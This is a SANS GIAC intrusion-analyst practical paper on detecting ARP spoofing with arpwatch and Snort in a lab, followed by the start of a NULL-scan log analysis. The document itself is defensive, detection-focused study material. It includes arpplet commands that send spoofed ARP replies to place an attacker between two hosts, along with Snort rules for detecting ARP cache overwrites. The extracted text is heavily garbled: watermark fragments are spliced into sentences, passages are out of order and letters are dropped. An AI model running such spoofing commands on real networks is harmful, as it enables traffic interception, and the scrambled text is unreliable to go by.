Whitepaper

Raul Siles Pelaez
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
NS
GIAC Certied Intrusion Analyst (GCIA)

(Version 3.3)
SANS Institute 2004,
SA
In
sti
tu
As part of GIAC practical repository.
te
20
04
,A
December 24, 2003
ut
ho
rr
eta
ins
Detecting Real World ARP Spoong attacks and other IDS detects analysis
fu ll r igh ts.
Author retains full rights.
Raul Siles - GCIA
Abstract
This paper is the practical assignment required to obtain the GIAC Certied Intrusion Analyst, GCIA, certication (version 3.3). It consists of three parts:
- Second part analyzes three network detects and all their details: a stealth NULL scan, a specic ICMP ping type (speedera) and the LovSan worm, exploiting a Windows RPC vulnerability.
Acknowledgments
The only thing necessary for evil to triumph is for good men to do nothing. -Edmund Burke Monica, for sure this paper wouldnt have seen the ligth of day without all Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D Lets enjoy A169 4E46 your help, support and publishing guidance ;-). F8B5 06E4 our rst Christmas married !!!! Everything in life is all about you !!
tu
te
20
04
,A
ut
ho
rr
eta
A Thanks so much to the three LTEX gurus: Monica, Vic
1 2
ins
- Third part provides a extensive report of a security audit for a University, obtained by analyzing several days worth of IDS log les.
Vicente Navarro Jorge Ortiz 3 David Perez
SA
Thanks both, David and Jorge for your review.
NS
David 3 , it has been a pleasure sharing the GCIA certication period and even nding Snort bugs together ;-)
In
sti
fu ll r igh ts.
1
- First part focuses on analyzing the network detection solutions below layer-3, presenting a white paper based on detecting real world ARP spoong attacks.
and Jorge 2 .
Contents
1 Real World ARP Spoong detection 1.1 Attack description . . . . . . . . 1.2 Situation without IDS sensors . . 1.3 IDS signatures and detects . . . 1.3.1 HIDS: arpwatch . . . . . 1.3.2 NIDS: Snort . . . . . . . . 1.4 Snort ARP history . . . . . . . . 1.5 Conclusions . . . . . . . . . . . . References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 5 7 8 8 10 12 14 15 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 16 16 18 23 24 27 31 34 37 39 41 42 42 43 46 47 47 50 52 53 54 55 57 57 57 60
2 Three network detects 2.1 DETECT 1: NULL scan . . . . . . . . . . . . . . . . . . . . 2.1.1 Source of Trace . . . . . . . . . . . . . . . . . . . . . . 2.1.2 Detect was generated by . . . . . . . . . . . . . . . . 2.1.3 Probability the source address was spoofed . . . . . . 2.1.4 Description of attack . . . . . . . . . . . . . . . . . . . 2.1.5 Attack mechanism . . . . . . . . . . . . . . . . . . . . 2.1.6 Correlations . . . . . . . . . . . . . . . . . . . . . . . . 2.1.7 Evidence of active targeting . . . . . . . . . . . . . . . 2.1.8 Severity . . . . . . . . . . . . . . . . . A169 . . Key fingerprint = AF19 FA27 2F94. 998D FDB5 .DE3D F8B5 06E4 . . . .4E46 . 2.1.9 Defensive recommendation . . . . . . . . . . . . . . . 2.1.10 Multiple choice test question . . . . . . . . . . . . . . 2.2 DETECT 2: PING speedera . . . . . . . . . . . . . . . . . . 2.2.1 Source of Trace . . . . . . . . . . . . . . . . . . . . . . 2.2.2 Detect was generated by . . . . . . . . . . . . . . . . 2.2.3 Probability the source address was spoofed . . . . . . 2.2.4 Description of attack . . . . . . . . . . . . . . . . . . . 2.2.5 Attack mechanism . . . . . . . . . . . . . . . . . . . . 2.2.6 Correlations . . . . . . . . . . . . . . . . . . . . . . . . 2.2.7 Evidence of active targeting . . . . . . . . . . . . . . . 2.2.8 Severity . . . . . . . . . . . . . . . . . . . . . . . . . . 2.2.9 Defensive recommendation . . . . . . . . . . . . . . . 2.2.10 Multiple choice test question . . . . . . . . . . . . . . 2.3 DETECT 3: Reached by the LovSan worm . . . . . . . . . . 2.3.1 Source of Trace . . . . . . . . . . . . . . . . . . . . . . 2.3.2 Detect was generated by . . . . . . . . . . . . . . . . 2.3.3 Probability the source address was spoofed . . . . . .
SA
NS
In
sti
tu
te
20
04
,A
ut
ho
3
rr
eta
ins
fu ll r igh ts.
CONTENTS 2.3.4 2.3.5 2.3.6 2.3.7 2.3.8 2.3.9 2.3.10 Description of attack . . . . . Attack mechanism . . . . . . Correlations . . . . . . . . . . Evidence of active targeting . Severity . . . . . . . . . . . . Defensive recommendation . Multiple choice test question . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Raul Siles - GCIA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61 63 65 66 67 68 70 71 71 73 74 77 77 80 82 84 85 87 87 89 91 93 95 96 98 99 100 103 105 106 110 110 113
References
3 Analyze This 3.1 Executive summary . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.2 Source of data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.3 Network topology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.4 List of top detects (alerts) . . . . . . . . . . . . . . . . . . . . . . . . 3.4.1 Alert #1: SMB Name Wildcard . . . . . . . . . . . . . . . . . 3.4.2 Alert #2: SMB C access . . . . . . . . . . . . . . . . . . . . . 3.4.3 Alert #3: MY.NET.30.4 activity . . . . . . . . . . . . . . . . . . 3.4.4 Alert #4: EXPLOIT x86 NOOP . . . . . . . . . . . . . . . . . 3.4.5 Alert #5: connect to 515 from inside . . . . . . . . . . . . . . 3.4.6 Alert #6: MY.NET.30.3 activity . . . . . . . . . . . . . . . . . . 3.4.7 Alert #7: TCP SRC and DST outside network . . . . . . . . . 3.4.8 Alert #8: External RPC call . . . . . . . . . . . . . . . . . . . 3.4.9 Alert #9: FA27 2F94 998D FDB5 DE3D Red 06E4 - trafc Key fingerprint = AF19High port 65535 tcp - possibleF8B5 WormA169 4E46. 3.4.10 Alert #10: Possible trojan server activity . . . . . . . . . . . . 3.4.11 Alert #11: ICMP SRC and DST outside network . . . . . . . 3.4.12 Alert #12: All different IRC alerts . . . . . . . . . . . . . . . . 3.4.13 Alert #13 and beyond: Other relevant alerts . . . . . . . . . . 3.5 List of portscan alerts . . . . . . . . . . . . . . . . . . . . . . . . . . 3.6 List of top scans . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.7 List of top OOS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.8 Top ten talkers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.9 Registration information (whois) . . . . . . . . . . . . . . . . . . . . . 3.10 The link graph . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.11 Description of the analysis process . . . . . . . . . . . . . . . . . . .
SA
NS
In
sti
tu
te
20
04
,A
ut
ho
rr
eta
ins
fu ll r igh ts.
Chapter 1 Real World ARP Spoong detection

Abstract
This paper is focused on the detection of real world ARP spoong attacks using the latest versions of the most common open-source freely available IDS tools, Snort (network based) and arpwatch (host based). It describes the basic theory around this attack and how it could be detected. This document covers how the defensive methods work nowadays, its signatures and the alerts generated, with an example developed in a real environment. The ARP Snort preprocessor module is analyzed in detail along with its evolution over time in the last Snort versions. To be able to detect ARP attacks, the IDS solution must work below layer 3.
1.1
Attack description
Lab environment description: An Ethernet switched network was used, based on a Cisco WS-C2924-XL, IOS version 11.2(8)SA5. All system ports belong to the same VLAN, number 2. System A and B were the target systems. The main difference between both is that system A is more protected because it has arpwatch running. Attacker is the system the attack is coming from, and NIDS is the system monitoring all network 5
SA
The ARP spoong attack is based on impersonating a system in the network, making the two ends of a communication believe that the other end is the attackers system, intercepting the trafc interchanged. KeyTo achieve= AF19 FA27 2F94 998D just needs toF8B5 06E4 A169 4E46 fingerprint this goal, the attacker FDB5 DE3D send a previously modied ARP packet, method known as packet crafting, to the source system of a given communication saying that the destination IP address belongs to his own MAC address. In the same way, it will inform the destination system, through a second crafted ARP packet, that the IP address of the source is associated to his MAC address too. So from this moment, both systems will interchange information through the attackers system and only because attackers system has asked them politely to do so ;-). Extracted from [ARPS1], Brief Description section (page 10). The Real World ARP Spoong document [ARPS1] has been used as the reference for all the aspects related with the attack. The network diagram in gure 1.1 will be used all along this paper.
NS
In
sti
tu
te
20
04
,A
ut
ho
rr
eta
ins
fu ll r igh ts.
1.1. ATTACK DESCRIPTION
Raul Siles - GCIA
Figure 1.1: ARP spoong network diagram
Switch#sh mac-address-table Dynamic Address Count: 4 Secure Address (User-defined) Count: 0 Static Address (User-defined) Count: 0 System Self Address Count: 50 Total MAC addresses: 52 Maximum MAC addreses: 2048 Non-static Address Table: Destination Address Address Type VLAN Destination Port ------------------- ------------ ---- -------------------0e0e.0e00.0001 Dynamic 2 FastEthernet0/15 <-- NIDS
SA
NS
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 trafc using Snort. The operating system running in each system has been shown in the diagram. The attack is focused on redirecting all trafc from A to B (and vice versa) from (and to) Attacker, acting as a man in the middle (MITM) box. The arpwatch version used was 2.1a11-17; the one included as an RPM package in Linux RedHat 8.0. The Snort versions used were 2.0.1 (Build 88) and 2.0.2 (Build 92). All IP and MAC addresses have been sanitized. The switch presents the following MAC address and port associations:
In
sti
tu
te
20
04
,A
ut
ho
rr
eta
ins
fu ll r igh ts.
Raul Siles - GCIA
1.2. SITUATION WITHOUT IDS SENSORS
0e0e.0e00.0002 0e0e.0e00.0099 0e0e.0e00.0003
Dynamic Dynamic Dynamic
2 2 2
FastEthernet0/16 <-- System A FastEthernet0/10 <-- Attacker FastEthernet0/14 <-- System B
As explained in the reference document, broadly speaking, there are two types of ARP spoong attacks from the attacker perspective: a) The noisy version or broad attack: it is simpler because a unique packet directed to the broadcast MAC address makes all hosts in the subnet to think a given host is located at the attacker MAC address. This type of packet is usually detected even in networks without detection mechanisms (see next section). b) The silent version or selective attack: a specic packet is sent to every host the attacker is interested in redirecting its trafc. This attack requires a great effort from the attacker point of view in order to poison several hosts because different packets must be sent continuously to all them. It typically passes through undetected. Option b) is the one that will be used in this paper due to be more used in the wild, more polite and elegant. Therefore, the paper is focused on detecting the packets that help to develop an ARP spoong attack like the one described. The attacker uses the arpplet tool [ARPS1] and issues two commands, rst one redirects all trafc from A to B, and second redirects the return trafc: KeyThe command says to System A (.2) that the IP at .3 (System B) has associated fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 the MAC address ended in [:99] (belonging to the attacker system): The command says to System B (.3) that the IP at .2 (System A) has associated the MAC address ended in [:99]:
1.2
Situation without IDS sensors
In an environment without specic defensive countermeasures in place it is very difcult to detect this type of attack. Every system could be able to gure out something strange is happening looking at their own ARP cache table, but no one inspects and analyzes this information in real time. As explained in [ARPS1], when the ARP spoong attack is addressed to poison all the systems in the subnet with a single packet, the MAC broadcast address must be used. This is a very noisy packet, because it will be received by the system the attacker is trying to impersonate, and therefore it will log a duplicate IP address!! message.
SA
NS
In
# ./arpplet 0E:0E:0E:00:00:99 192.168.1.2 0E:0E:0E:00:00:03 192.168.1.3
sti
tu
te
# ./arpplet 0E:0E:0E:00:00:99 192.168.1.3 0E:0E:0E:00:00:02 192.168.1.2
20
04
,A
ut
ho
7
rr
eta
ins
fu ll r igh ts.
1.3. IDS SIGNATURES AND DETECTS This situation can be easily identied using:
Raul Siles - GCIA
1.3
IDS signatures and detects
1.3.1
HIDS: arpwatch
Oct 20 13:23:35 systemA arpwatch: changed ethernet address 192.168.1.3 0e:0e:0e:0:0:99 (0e:0e:0e:0:0:3)
[root@systemA root]# arp -an ? (192.168.1.3) at 0E:0E:0E:00:00:03 [ether] on eth0 [root@systemA root]# arp -an ? (192.168.1.3) at 0E:0E:0E:00:00:99 [ether] on eth0
The same alert would be generated for the second packet if System B would have arpwatch running. 8
And, almost at the sime time, the root user receives (by default) the e-mail in gure 1.2. However, System A ARP table is poisoned and changes its state. Remember arpwatch is a detection countermeasure, but it doesnt prevent or protect against the attack:
SA
NS
In
The most common publicly available tool used as a HIDS for ARP is arpwatch [ARPW1]. It is a very stable tool, available since June 1992 for lots of different Unix platforms. A basic description of this tool and the type of detections it is capable of is described in [ARPW1, page 106]. The tool has been used in the lab environment used for this paper and it works like a charm, no false positives were generated and all ARP changes were notied Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 as expected. Example: When the rst ARP packet (described in the attack) is received by System A and considering it already knew about System B (if this is the rst packet it sees from System B it is considered a new station; see below), arpwatch generates the following message in the syslog le:
sti
tu
te
20
04
,A
ut
ho
rr
eta
ins
This section is focused in the detection process from a practical point of view using the two most common IDSes available, host based, HIDS, and network based, NIDS.
fu ll r igh ts.
- The default notication mechanisms implemented in the TCP/IP stack of the nowadays operating systems [ARPS1]: Unix systems log the message while Windows hosts generate a pop-up window. - Log parsing tools, such as, SWATCH [SWAT1] or Logcheck [LOGC1], due to the fact that Unix systems log this message in the generic syslog le.
Raul Siles - GCIA
1.3. IDS SIGNATURES AND DETECTS
Message 78: From pcap@systemA.domain.com Mon Oct 20 13:25:56 2003 Date: Mon, 20 Oct 2003 13:23:55 +0200 From: root@systemA.domain.com (Arpwatch) To: root@systemA.domain.com Subject: changed ethernet address hostname: ip address: ethernet address: ethernet vendor: old ethernet address: old ethernet vendor: timestamp: previous timestamp: delta: <unknown> 192.168.1.3 0e:0e:0e:0:0:99 <unknown> 0e:0e:0e:0:0:3 Hewlett-Packard Monday, October 20, 2003 13:23:35 +0200 Monday, October 20, 2003 13:22:17 +0200 1 minute
Oct 20 13:24:18 systemA arpwatch: flip flop 192.168.1.3 0e:0e:0e:0:0:3 (0e:0e:0e:0:0:99)

Message 79: From pcap@systemA.domain.com Mon Oct 20 13:26:38 2003 Date: Mon, 20 Oct 2003 13:24:38 +0200 From: root@systemA.domain.com (Arpwatch) To: root@systemA.domain.com fingerprint =flop AF19 FA27 2F94 998D FDB5 DE3D Subject: flip
Key
04
,A
ut
ho
9
rr
If for some reason, sometime later, a non-crafted ARP packet is received from System B containing the previous, real MAC address, the following syslog alert would be generated (e-mail in gure 1.3):
hostname: ip address: ethernet address: ethernet vendor: old ethernet address: old ethernet vendor: timestamp: previous timestamp: delta:
<unknown> 192.168.1.3 0e:0e:0e:0:0:3 Hewlett-Packard 0e:0e:0e:0:0:99 <unknown> Monday, October 20, 2003 13:24:18 +0200 Monday, October 20, 2003 13:23:35 +0200 43 seconds
NS
In
sti
As an addition, these are the messages generated when a new workstation is detected, that is, a new ARP-IP association is seen for the rst time (gure 1.4). Although arpwatch works really well, it has a major disadvantage if it is going to be installed in all hosts we want to protect: the huge administrative overhead associated to this deployment. An alternative solution could be to install it in a switch SPAN port, because although it is a HIDS solution it monitors all trafc seen in the wire. The main difference with Snort is that arpwatch can learn the MAC-IP associations in two modes:
SA
tu
te
Figure 1.3: arpwatch mail for a ip-op
20
eta
ins
Figure 1.2: arpwatch mail for a change
F8B5 06E4 A169 4E46
fu ll r igh ts.

Oct 20 12:17:38 systemA arpwatch: new station 192.168.1.99 0e:0e:0e:0:0:99 Message 77: From pcap@systemA.domain.com Mon Oct 20 12:19:59 2003 Date: Mon, 20 Oct 2003 12:17:58 +0200 From: root@systemA.domain.com (Arpwatch) To: root@systemA.domain.com Subject: new station hostname: ip address: ethernet address: ethernet vendor: timestamp: <unknown> 192.168.1.99 0e:0e:0e:0:0:99 <unknown> Monday, October 20, 2003 12:17:18 +0200
Raul Siles - GCIA
Figure 1.4: arpwatch syslog message and mail for a new station
Apart from that it is possible to specify if the ARP unicast requests will be monitored. Typically, a broadcast ARP request is sent to all systems in the subnet, asking for a new MAC address, but some OSes, such as Linux, implement an ARP entry validation procedure that sends unicast ARP request messages to an individual host to conrm its associated ARP entry. These packets will trigger lots of false positive messages when the -unicast option is used. It can detect four different situations (extracted from snort.conf le) identied by [112:SID:1]:
# Arpspoof uses Generator ID 112 and uses the following SIDS for that GID: # SID Event description
SA
NS
preprocessor arpspoof_detect_host: 192.168.1.1 0E:0E:0E:00:00:01
In
The most common publicly available tool used as a NIDS is Snort [SNOR1]. Since around August 2001 [SNOR2], it implemented a new module, called preprocessor in Snort terminology, to detect ARP attacks. This fingerprint = AF19 FA27 2F94 998D in the DE3D F8B5 06E4 A169 4E46NIDS Key module introduced a big change FDB5 NIDS philosophy because typically work at the layer 3 level, IP, or above. Snort starts at the IP header to be able to perform the congured actions in order to alert or log a packet, but there is no layer 2 information that can be specied in the conguration or ruleset les. The new Snort preprocessor (spp ), called arpspoof, allows specifying a set of address pairs, dening the relationships between a given IP address and its MAC address. For example:
sti
tu
te
20
04
,A
10
ut
ho
1.3.2
NIDS: Snort
rr
eta
- Fixed database, manually congured in its arp.dat le. - Real time learning, based on acquiring the new associations from the trafc listened on the wire.
ins
fu ll r igh ts.
Raul Siles - GCIA
# ----# 1 # 2 # 3 # 4
------------------Unicast ARP request Etherframe ARP mismatch (src) Etherframe ARP mismatch (dst) ARP cache overwrite attack
Snort should be invoked in the following way when interested only in ARP packets:
[**] [112:4:1] (spp_arpspoof) Attempted ARP cache overwrite attack [**] 10/20-13:23:37.150363 As can be appreciated, the Snort alert is not self-descriptive, so it is required to look at the packet logged in order to know the information about sender and receiver. The timestamp is used to match both data sources.
SA
The second packet, from attacker to System B generates the same type of alert and packet (not showed):
NS
[**] [112:4:1] (spp_arpspoof) Attempted ARP cache overwrite attack [**] 10/20-13:23:35.765347
In
sti
Example: (using Snort 2.0.2): When the rst ARP packet is received by System A and Snort generates the following message in the alert le and logs the ARP packet (obtained through ethereal [ETHE1]) in gure 1.5:
tu
te
20
04
All other Snort payload and header options, such as -e (Ethernet header), -d (application layer) or -X (raw packet data starting at the link layer) dont apply. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
,A
ut
# snort -c /opt/snort-2.0.2/etc/snort.conf -l ./log
ho
rr
11
eta
# ARP preprocessor containing all hosts: System A, B and NIDS. preprocessor arpspoof: -unicast preprocessor arpspoof_detect_host: 192.168.1.1 0E:0E:0E:00:00:01 preprocessor arpspoof_detect_host: 192.168.1.2 0E:0E:0E:00:00:02 preprocessor arpspoof_detect_host: 192.168.1.3 0E:0E:0E:00:00:03 # Binary logging output log_tcpdump: tcpdump.log
ins
fu ll r igh ts.
To develop this analysis the default snort.conf le was modied: the default variables (var) were kept untouched, all the preprocessors were commented except the arpspoof one, only the binary logging mode was used and all ruleset were removed. Therefore, the main snort.conf statements were:
1.4. SNORT ARP HISTORY

Frame 17 (42 bytes on wire, 42 bytes captured) Arrival Time: Oct 20, 2003 13:23:35.765347000 ... Ethernet II, Src: 0E:0E:0E:00:00:99, Dst: 0E:0E:0E:00:00:02 Destination: 0E:0E:0E:00:00:02 (0E:0E:0E:00:00:02) Source: 0E:0E:0E:00:00:99 (0E:0E:0E:00:00:99) Type: ARP (0x0806) Address Resolution Protocol (reply) Hardware type: Ethernet (0x0001) Protocol type: IP (0x0800) Hardware size: 6 Protocol size: 4 Opcode: reply (0x0002) Sender MAC address: 0E:0E:0E:00:00:99 (0E:0E:0E:00:00:99) Sender IP address: 192.168.1.3 (192.168.1.3) Target MAC address: 0E:0E:0E:00:00:02 (0E:0E:0E:00:00:02) Target IP address: 192.168.1.2 (192.168.1.2) 0000 0010 0020 0e 0e 0e 00 00 02 0e 0e 0e 00 00 99 08 06 00 01 08 00 06 04 00 02 0e 0e 0e 00 00 99 c0 a8 01 03 0e 0e 0e 00 00 02 c0 a8 01 02
Raul Siles - GCIA
1.4
Snort ARP history
- Snort 2.0.1: Jul 22 18:28:29 2003 GMT In theory, some changes were made to spp arpspoof before releasing version 2.0.1 so that the packet triggering the ARP alert is sent to the logging system. If a system other than ascii logging is used, you can see the host generating the alert. In practice, Snort 2.0.1 version was capable of detecting the ARP spoofing attack and generates an alert for the evil packet, but the packet was not 12
SA
- Before version 2.x: Different Web forums talk about the existence of a verbose patch for the arpspoof Snort preprocessor [PATC1], used to dump the packets associated to the alerts; it can be downloaded from [PATC1]. It is not an important element because new improvements were introduced in version 2.0.1.
NS
In
sti
Thanks to Jeff Nathan (jeff@snort.org) for all the information provided during this research. He was the father of the spp arpspoof code. First of all, somewhere in time, a Snort ARP related option was documented Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 but not implemented. The Snort command line parameter is said to display ARP data, but it doesnt exist in version 2.0.1 or above: snort -a. Searching in the Snort doc directory, it is documented in snortman.tex: item [decode arp]Turn on arp decoding (snort -a). Evolution of the arpspoof module over time and Snort versions:
tu
te
20
04
,A
ut
ho
rr
Figure 1.5: ARP packet captured by Snort from H to A
eta
................ ...............+ .........,
ins
fu ll r igh ts.
Raul Siles - GCIA
1.4. SNORT ARP HISTORY
logged. Once the Snort instance is closed, the log le is only 24 bytes in length, belonging to the tcpdump binary le header:
-rw------1 root root 24 Sep 17 12:05 tcpdump.log.1063790353
Snort 2.0.1 behavior research:
[**] [112:1:1] (spp_arpspoof) Unicast ARP request [**] 09/17-11:04:46.819208
The Snort 2.0.2 release showed Cleanup of spp arpspoof (Jeff Nathan), and the Snort Changelog [SNOR2] details the spp arpspoof patches from Jeff Nathan. Be careful because if the unicast option is used instead of -unicast, no error will be generated when Snort starts, but the unicast checking wont work.
SA
NS
This version logs (in binary mode) and alerts about the malicious ARP packets.
In
- Snort 2.0.2: Sep 17 21:49:34 2003
sti
c) preprocessor arpspoof plus preprocessor arpspoof: -unicast The three alert types were triggered but again, no logging.
tu
te
20
b) preprocessor arpspoof: -unicast Only the following type of alert was Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 generated without logging:
04
,A
[**] [112:2:1] (spp_arpspoof) Ethernet/ARP Mismatch request for Source [**] 09/17-10:12:12.962616 [**] [112:4:1] (spp_arpspoof) Attempted ARP cache overwrite attack [**] 09/17-10:23:37.150363
ut
ho
rr
13
a) preprocessor arpspoof Only the following two types of alert were generated without logging:
eta
When using Snort Version 2.0.1 (Build 88) over Linux Red-Hat 7.3 with the same conguration as the one described in this paper (default variables + spp arpspoof + binary output plug-in), and running snort -l /tmp -c /opt/snort-2.0.1/etc/snort.conf, the following three cases were found:
ins
fu ll r igh ts.
Apart from this, the patch that supports -textonly was not committed to Snort CVS because it is incompatible with unied alerting and at the time, that was considered a poor solution. The previously mentioned patch supported the -textonly option.
1.5. CONCLUSIONS
Raul Siles - GCIA
1.5
Conclusions
- How do the IDS sensors behave when an ARP backward packet is sent? A backward packet refers to the ARP packet that could be sent by the attacker in order to leave everything in its previous state. When the trafc has been redirected to the attacker system and the attack has nished, the attacker could be interested in restore the previous ARP entry in the target system not to interrupt the communications (in order to shutdown his own box). To do so he must send a new ARP packet associating the target IP address with the real MAC address and not with the attacker MAC. It seems this second ARP change is also detected by the IDS as a new address swapping, so it is converted into an alert, called ip-op. See the arpwatch section for the type of alerts generated in this case.
SA
NS
In
sti
At rst sight it doesnt seem to inuence the IDS; all packets are detected given the fact that they have been received by the sensor and it is not overowed.
tu
te
The two most common open-source IDS applications were tested in a real environment checking their capabilities for detecting ARP spoong attacks. arpwatch is an stable and accurate tool whose only purpose is detecting changes between the IP and MAC addresses associations. It develops its goal really well. Snort is a complex IDS tool, and it is mainly focused on detecting all kind of attacks at layer 3 or above. A new preprocessor was introduced to detect ARP attacks but it is considered by itself as experimental. This module will be really helpful against the attacks described in this paper but some tuning is needed. It will be interesting to see how it matures in future versions. The detection of ARP attacks introduce a new idea on the way IDS network solutions work: attack detection at layer 3 or below, such as in this case, layer 2. Snort is a very noisy IDS ARP detector when the -unicast option is used in Linux environments. The latest Snort version tested was 2.0.2 and it generates lots of false positives associated to standard, not evil, trafc, such as ARP broadcast requests and the corresponding replies. This situation is being researched at the time this paper was nished. There are other interesting ARP packet considerations that should be mentioned: Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 - Is there any difference in the detection method based on the number of times per time unit the forged ARP packet is sent?
20
04
,A
14
ut
ho
rr
eta
ins
fu ll r igh ts.
Raul Siles - GCIA
BIBLIOGRAPHY
Bibliography
[ARPS1] Real World ARP Spoong. Raul Siles Pelaez. August 2003. http:// www.giac.org/practical/GCIH/Raul_Siles_GCIH.pdf (1 Nov. 2003)
[ETHE1] Ethereal. http://www.ethereal.org (23 Nov. 2003)
[LOGC1] Logcheck. http://sourceforge.net/projects/sentrytools (5 Dec. 2003) [PATC1] spp arpspool patch to generate verbose alerts. Snort-devel. http:// marc.theaimsgroup.com/?l=snort-devel&m=104700273309905&w=2 (5 Dec. 2003) [SNOR1] Snort NIDS. Marti Roesch. http://www.snort.org (17 Nov. 2003) [SNOR2] Snort Change Log. http://www.snort.org/downloads/ (3 Dec. 2003)
SA
NS
In
sti
tu
te
20
04
,A
ut
[SWAT1] Swatch. Stephen Hansen and Todd Atkins. ftp://ftp.cerias. purdue.edu/pub/tools/unix/logutils/swatch/README (5 Dec. 2003)
ho
rr
15
eta
ins
fu ll r igh ts.
[ARPW1] Arpwatch. http://www-nrg.ee.lbl.gov/nrg.html ftp://ftp.ee. lbl.gov/arpwatch.tar.gz (10 Nov. 2003)
Chapter 2 Three network detects

I received some responses in the intrusions.org mailing list related to this detect posted on Wed, 19 Nov 2003 1 . For example, David Barroso asked me to provide more information about the purpose of scanning TCP port 601. This port, apart from being used for the reliable SYSLOG service (syslog-conn), it can be used by AFS, Andrew File System, for remote authentication ta-rauth. Other references assign TCP port 601 to maitrd 2 , typically associated to TCP/UDP ports 997. This process exports tasks in load sharing environments 3 . Other Data Grid environments also use TCP port 601 4 . Any of them are very common applications. Apart from the possible set of ofcial services that can listen in this port, it seems the port was selected to reach a port that very likely will be closed, so the remote system would reply with a RST packet to the original XMAS packet.
[**] [111:9:1] (spp_stream4) STEALTH ACTIVITY (NULL scan) detection [**]
The log le analyzed has been obtained from incidents.org 5 . This le is the result of a Snort instance running in binary logging mode so, only the packets that violate the ruleset will appear in the log. It is important to note for the analysis that all ICMP, DNS, SMTP and Web trafc has been removed from these logs. The ruleset used to generate the log le, that is, the one that triggered the alerts, is unknown. The le analyzed is named 2002.8.23 and as it has been already pointed out by other GIAC students, there is a one month mismatch between the date in the le name and the timestamps in the network traces. The packets reect 23rd
1 2
http://cert.uni-stuttgart.de/archive/intrusions/2003/11/msg00147.html http://www.ltsw.se/knbase/tcp/tcp1.htp 3 http://www.cs.berkeley.edu/projects/sprite/papers/thesis-Douglis.ps 4 http://gass.cpe.ku.ac.th/~bank/project/dig/Untitled-1.htm 5 http://www.incidents.org/logs/Raw/
SA
NS
In
sti
tu
te
2.1.1
Source of Trace
20
04
,A
The following alert message corresponds to the detect that is going to be analyzed:
16
ut
2.1
DETECT 1: NULL scan
ho
rr
eta
ins
fu ll r igh ts.
Raul Siles - GCIA
2.1. DETECT 1: NULL SCAN
of September, 2002 (09/23/2002). Snort -y option let you show the year in the timestamps: 09/23/02. To get the network topology where the sensor was running the trafc captured must be analyzed, obtaining information such as:
MAC addresses involved in all Snort alerts reported:
# grep -F type:0x800 alert.2002.8.23 | cut -d -f 2,4 | \ sort -u 0:0:C:4:B2:33 0:3:E3:D9:26:C0 \ 0:3:E3:D9:26:C0 0:0:C:4:B2:33
http://standards.ieee.org/regauth/oui/index.shtml
SA
# tcpdump -nn -e -r 2002.8.23 | \ grep -F "0:3:e3:d9:26:c0 0:0:c:4:b2:33" | cut -d -f 6,8 | \ sort -u -b -t\. -k1,1n -k2,2n -k3,3n -k4,4n # tcpdump -nn -e -r 2002.8.23 | \ grep -F "0:3:e3:d9:26:c0 0:0:c:4:b2:33" | \ cut -d -f 8 | cut -d . -f 1,2,3,4 | sort -u
The rst command is used to extract all conversations sorted by source address, while the second command is used to extract the information about the destination addresses. Both use the tcpdump command-line tool [TCPD1]. All trafc goes from several public IP addresses (around 71 addresses) to 9 different addresses belonging to the 115.74.X.X address range.
NS
In
sti
IP addresses involved in the conversations from [0:3:e3:d9:26:c0] to [0:0:c:4:b2:33]:
tu
te
b) Layer 3 information: IP network spaces associated to all the trafc in the binary log le.
20
Therefore, all layer 2 trafc in the Snort log le occurs between two devices with the following MAC addresses: [0:0:C:4:B2:33] and [0:3:E3:D9:26:C0]. Both OUIs, Organization Unique Identiers, 00-000C and 00-03-E3, are registered to Cisco Systems, Inc., so it is likely that both are routers interconnecting different networks. The Snort IDS was placed between both Cisco devices. The MAC addresses registration information can be obtained from the Key fingerprint the IEEE at 6 . 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 = AF19 FA27
04
,A
ut
ho
rr
17
eta
# tcpdump -nn -e -r 2002.8.23 | cut -d -f 2,3 | sort -u
ins
The same information can be extracted from all the trafc contained in the binary log le:
fu ll r igh ts.
a) Layer 2 information: Source and destination MAC addresses in all conversations.
Raul Siles - GCIA
IP addresses involved in the conversations from [0:0:c:4:b2:33] to [0:3:e3:d9:26:c0]: All trafc goes from 2 internal IP addresses, .202 (there is only one connection from this IP) and .65, the one involved in the alert analyzed, to several different public IP addresses (around 198).
# tcpdump -nn -e -r 2002.8.23 | \ grep -F "0:0:c:4:b2:33 0:3:e3:d9:26:c0" | cut -d -f 6,8 | \ sort -u -b -t\. -k1,1n -k2,2n -k3,3n -k 4,4n 115.74.249.65.61107 216.239.51.101.80: 115.74.249.202.80 193.198.33.31.1213:
The last line shows the specic address ranges involved in the alerts analyzed.
